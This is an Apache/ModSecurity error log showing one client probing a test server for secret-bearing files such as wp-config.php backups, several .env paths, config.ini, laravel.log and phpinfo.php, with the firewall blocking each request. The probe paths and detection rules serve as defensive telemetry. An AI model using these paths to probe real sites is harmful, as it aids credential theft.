[Tue Jan 21 15:20:31.507614 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "Z4-tL6UWvTqJytu-P8cD9QAAAA0"]
[Tue Jan 21 15:20:31.508110 2025] [:error] [pid 621517] [client 193.41.206.36:36326] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "Z4-tL6UWvTqJytu-P8cD9QAAAA0"]
[Tue Jan 21 15:21:08.158213 2025] [authz_core:error] [pid 621512] [client 193.41.206.36:38868] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Tue Jan 21 15:21:16.443396 2025] [authz_core:error] [pid 621536] [client 193.41.206.36:58824] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/phpinfo.php
[Tue Jan 21 15:22:38.546224 2025] [:error] [pid 621467] [client 193.41.206.36:35448] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-trpI8RB7_o08OfB6JGAAAAAk"]
[Tue Jan 21 15:22:38.546683 2025] [:error] [pid 621467] [client 193.41.206.36:35448] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-trpI8RB7_o08OfB6JGAAAAAk"]
[Tue Jan 21 15:22:38.547057 2025] [:error] [pid 621467] [client 193.41.206.36:35448] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-trpI8RB7_o08OfB6JGAAAAAk"]
[Tue Jan 21 15:22:53.476798 2025] [:error] [pid 621526] [client 193.41.206.36:38902] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-tvfl9UUKBWX7xOcp1QwAAAAU"]
[Tue Jan 21 15:22:53.477190 2025] [:error] [pid 621526] [client 193.41.206.36:38902] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-tvfl9UUKBWX7xOcp1QwAAAAU"]
[Tue Jan 21 15:22:53.477642 2025] [:error] [pid 621526] [client 193.41.206.36:38902] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "Z4-tvfl9UUKBWX7xOcp1QwAAAAU"]
[Tue Jan 21 15:22:59.766325 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-tw9P2g1a8O8tMN8i_9wAAAA8"]
[Tue Jan 21 15:22:59.766732 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-tw9P2g1a8O8tMN8i_9wAAAA8"]
[Tue Jan 21 15:22:59.767232 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-tw9P2g1a8O8tMN8i_9wAAAA8"]
[Tue Jan 21 15:23:02.829969 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /content/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-txtP2g1a8O8tMN8i_-AAAAA8"]
[Tue Jan 21 15:23:02.830440 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-txtP2g1a8O8tMN8i_-AAAAA8"]
[Tue Jan 21 15:23:02.830851 2025] [:error] [pid 621519] [client 193.41.206.36:42602] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-txtP2g1a8O8tMN8i_-AAAAA8"]
[Tue Jan 21 15:23:15.850958 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-t05qmj11ddtqosUH5jgAAAAM"]
[Tue Jan 21 15:23:15.851581 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-t05qmj11ddtqosUH5jgAAAAM"]
[Tue Jan 21 15:23:15.852214 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "Z4-t05qmj11ddtqosUH5jgAAAAM"]
[Tue Jan 21 15:23:17.151329 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /content/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-t1Zqmj11ddtqosUH5jwAAAAM"]
[Tue Jan 21 15:23:17.151740 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-t1Zqmj11ddtqosUH5jwAAAAM"]
[Tue Jan 21 15:23:17.152200 2025] [:error] [pid 621536] [client 193.41.206.36:59340] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/content/.env"] [unique_id "Z4-t1Zqmj11ddtqosUH5jwAAAAM"]
[Tue Jan 21 15:27:14.076401 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-uwhX999c-l2awnNPVgQAAAAI"]
[Tue Jan 21 15:27:14.076850 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-uwhX999c-l2awnNPVgQAAAAI"]
[Tue Jan 21 15:27:14.077302 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-uwhX999c-l2awnNPVgQAAAAI"]
[Tue Jan 21 15:27:17.163413 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-uxRX999c-l2awnNPVggAAAAI"]
[Tue Jan 21 15:27:17.163984 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-uxRX999c-l2awnNPVggAAAAI"]
[Tue Jan 21 15:27:17.164510 2025] [:error] [pid 621512] [client 193.41.206.36:57204] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-uxRX999c-l2awnNPVggAAAAI"]
[Tue Jan 21 15:27:32.406055 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php-backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-u1EwzlszgbZ4TH9yAdgAAAAY"]
[Tue Jan 21 15:27:32.406766 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-u1EwzlszgbZ4TH9yAdgAAAAY"]
[Tue Jan 21 15:27:32.407367 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php-backup"] [unique_id "Z4-u1EwzlszgbZ4TH9yAdgAAAAY"]
[Tue Jan 21 15:27:35.745202 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-u10wzlszgbZ4TH9yAdwAAAAY"]
[Tue Jan 21 15:27:35.746028 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-u10wzlszgbZ4TH9yAdwAAAAY"]
[Tue Jan 21 15:27:35.746655 2025] [:error] [pid 621602] [client 193.41.206.36:59424] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.ini"] [unique_id "Z4-u10wzlszgbZ4TH9yAdwAAAAY"]
[Tue Jan 21 15:28:19.375127 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vA9P2g1a8O8tMN8i__gAAAA8"]
[Tue Jan 21 15:28:19.375766 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vA9P2g1a8O8tMN8i__gAAAA8"]
[Tue Jan 21 15:28:19.376601 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/storage/logs/laravel.log"] [unique_id "Z4-vA9P2g1a8O8tMN8i__gAAAA8"]
[Tue Jan 21 15:28:22.571150 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lara/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vBtP2g1a8O8tMN8i__wAAAA8"]
[Tue Jan 21 15:28:22.571554 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vBtP2g1a8O8tMN8i__wAAAA8"]
[Tue Jan 21 15:28:22.572015 2025] [:error] [pid 621519] [client 193.41.206.36:33208] [client 193.41.206.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Lara/.env"] [unique_id "Z4-vBtP2g1a8O8tMN8i__wAAAA8"]
